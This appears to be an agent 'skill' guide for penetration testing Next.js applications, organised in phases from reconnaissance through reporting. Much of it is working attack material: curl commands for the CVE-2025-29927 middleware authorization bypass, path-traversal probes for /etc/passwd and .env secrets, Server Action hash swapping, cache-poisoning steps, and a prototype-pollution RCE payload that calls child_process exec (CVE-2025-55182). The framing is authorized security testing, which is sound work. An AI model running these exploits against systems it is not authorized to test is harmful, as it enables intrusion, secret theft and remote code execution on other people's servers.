Next.js Pentesting Skill

A comprehensive guide for security testing Next.js applications, covering architecture analysis, vulnerability discovery, and exploitation techniques.

Quick Start

When pentesting a Next.js application, follow this workflow:

1. Reconnaissance - Identify Next.js version, architecture (App Router vs Pages Router), and exposed endpoints
2. Static Analysis - Review configuration files, source maps, and build manifests
3. Vulnerability Testing - Test for known CVEs, misconfigurations, and custom vulnerabilities
4. Server Actions - Enumerate and test Server Actions for authorization issues
5. RSC Testing - Check for React Server Components vulnerabilities

Phase 1: Reconnaissance

Identify Next.js Version and Architecture

# Check for Next.js fingerprints
# App Router: /_next/static/chunks/app/
# Pages Router: /_next/static/chunks/pages/

# Look for buildId in HTML
buildId=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')

# Check for App Router vs Pages Router
curl -s http://target/ | grep -q 'app/' && echo "App Router detected" || echo "Pages Router detected"

Static Export Route Discovery

When

nextExport

/

autoExport

are true, Next.js exposes the build manifest:

# Extract buildId and enumerate all routes
buildId=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${buildId}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]-/]+)"' | tr -d '"'

Use this for:

• Auth testing on discovered endpoints
• Finding hidden admin panels
• Enumerating API routes

Server Artifacts to Target

If you find path traversal or download endpoints, target:

• .env

  /

  .env.local

  - Session secrets, provider credentials

• .next/routes-manifest.json

  - Complete route list

• .next/build-manifest.json

  - Build configuration

• .next/server/pages/api/auth/[...nextauth].js

  - NextAuth config (may contain fallback passwords)

• next.config.js

  /

  next.config.mjs

  - Rewrites, redirects, middleware

Phase 2: Client-Side Vulnerabilities

Cross-Site Scripting (XSS)

Look for:

• dangerouslySetInnerHTML

  with user input
• Template injection in client components
• Unsanitized URL parameters

Test:

// Vulnerable pattern to find
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Client Path Traversal (CSPT)

Look for:

• File download endpoints accepting user-controlled paths
• API routes that construct paths from input

Test:

# Try path traversal payloads
curl "http://target/api/files/../../../etc/passwd"
curl "http://target/api/files/..%2F..%2F..%2Fetc%2Fpasswd"

Phase 3: Server-Side Vulnerabilities

API Route Testing

App Router (Next.js 13+):

• Routes:

  app/api/[path]/route.ts

• Methods: Exported

  GET

  ,

  POST

  ,

  PUT

  ,

  DELETE

  functions

Pages Router (Next.js 12 and earlier):

• Routes:

  pages/api/[path].js

• Methods: Single handler with method switching

Test all HTTP methods:

# Test each method on discovered API routes
for method in GET POST PUT DELETE PATCH OPTIONS; do
  curl -X $method http://target/api/endpoint
done

CORS Misconfiguration

Look for:

• Access-Control-Allow-Origin: *

• Overly permissive allowed origins
• Missing

  Access-Control-Allow-Credentials

  restrictions

Test:

# Check CORS headers
curl -I -H "Origin: http://evil.com" http://target/api/endpoint

# Test with credentials
curl -I -H "Origin: http://evil.com" -H "Cookie: session=abc" http://target/api/endpoint

Middleware Authorization Bypass (CVE-2025-29927)

Affected versions: <12.3.5 / 13.5.9 / 14.2.25 / 15.2.3

Exploit:

# Inject x-middleware-subrequest header to bypass auth
curl -i "http://target/protected-page" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

# For authenticated pages with many subresources, add header to all requests
# Use Burp Match/Replace with empty match string

Detection:

• Baseline: 307 redirect to

  /api/auth/signin

• Exploited: 200 OK with protected content

Phase 4: Server Actions Enumeration

Hash-to-Function Mapping

Modern Next.js Server Actions use opaque hashes. When

productionBrowserSourceMaps

is enabled, you can map hashes to function names.

Extraction:

# Download JS chunks and search for createServerReference
curl -s http://target/_next/static/chunks/app/page.js | \
  grep -oP 'createServerReference\)"([a-f0-9]{40,})"[^\"]*"([^"]+)"'

# Pattern 1: Strict
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"

# Pattern 2: Flexible
createServerReference[^"]*"([a-f0-9]{40,})"[^"]*"([^"]+)"

Group 1: Server action hash Group 2: Symbol/path to resolve via source map

Testing Server Actions

# Capture a valid POST with Next-Action header
# Then swap the hash to test other actions

curl -X POST http://target/ \
  -H "Next-Action: <target-hash>" \
  -H "Content-Type: application/json" \
  -d '{"args":[]}'

Look for actions like:

• deleteUserAccount()

• transferFunds()

• exportFinancialData()

• updateSettings()

Phase 5: React Server Components (RSC) Testing

CVE-2025-55182 - Flight Protocol RCE

Affected:

react-server-dom-webpack

19.0.0–19.2.0 (Next.js 15.x/16.x)

Detection (safe mode):

# Use react2shell-scanner
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check

# Vulnerable: HTTP 500 with E{"digest" in body
# Patched: HTTP 200/400

Payload structure:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "require('child_process').exec('id')",
    "_chunks": "$Q2",
    "_formData": { "get": "$1:constructor:constructor" }
  }
}

CVE-2025-55184/67779/55183 - RSC DoS & Source Disclosure

Detection:

# Send malformed Flight payload
curl -X POST http://target/ \
  -H "Content-Type: text/x-component" \
  -d '{"$": "malformed"}'

# Vulnerable: HTTP 500 with E{"digest"
# Patched: HTTP 400/200

CVE-2025-49005 - Cache Poisoning

Affected: App Router 15.3.0–15.3.2

Test:

# Prime CDN with RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null

# Fetch without Accept header (victim view)
curl -k "https://target/app/dashboard" | head

# If response is JSON Flight data instead of HTML, cache is poisonable

Phase 6: Configuration Analysis

next.config.js Security Issues

Check for:

1. Image optimization misconfiguration:

// Vulnerable
images: { domains: ["*"] }

// Safe
images: { domains: ["trusted-domain.com"] }

2. Environment variable exposure:

// Vulnerable - exposes to client
env: { NEXT_PUBLIC_SECRET_KEY: process.env.SECRET_KEY }

// Safe - server only
env: { SECRET_KEY: process.env.SECRET_KEY }

3. Open redirects:

// Vulnerable
redirects() {
  return [{
    source: "/redirect",
    destination: (req) => req.query.url,
    permanent: false
  }]
}

4. Security headers:

// Recommended
headers() {
  return [{
    source: "/(.*)",
    headers: [
      { key: "X-Frame-Options", value: "DENY" },
      { key: "Content-Security-Policy", value: "default-src 'self'" },
      { key: "X-Content-Type-Options", value: "nosniff" },
      { key: "Strict-Transport-Security", value: "max-age=63072000; includeSubDomains" }
    ]
  }]
}

Middleware Analysis

Location:

middleware.ts

/

middleware.js

in root or

src/

Check for:

• Authorization logic that can be bypassed
• Header manipulation vulnerabilities
• Redirect logic with user input

Scripts

Use the bundled scripts for automated tasks:

• scripts/extract-build-manifest.sh

  - Extract routes from build manifest

• scripts/enumerate-server-actions.sh

  - Map Server Action hashes to function names

• scripts/test-middleware-bypass.sh

  - Test CVE-2025-29927

• scripts/check-rsc-vulnerabilities.sh

  - Check for RSC CVEs

Reporting

When documenting findings:

1. Include version information - Next.js version, React version, affected packages
2. Provide reproduction steps - Exact requests and responses
3. Reference CVEs - When applicable, include CVE numbers
4. Suggest mitigations - Patch versions, configuration changes

References

• Next.js Security Updates
• React2Shell Scanner
• NextjsServerActionAnalyzer
• CVE-2025-55182 Exploit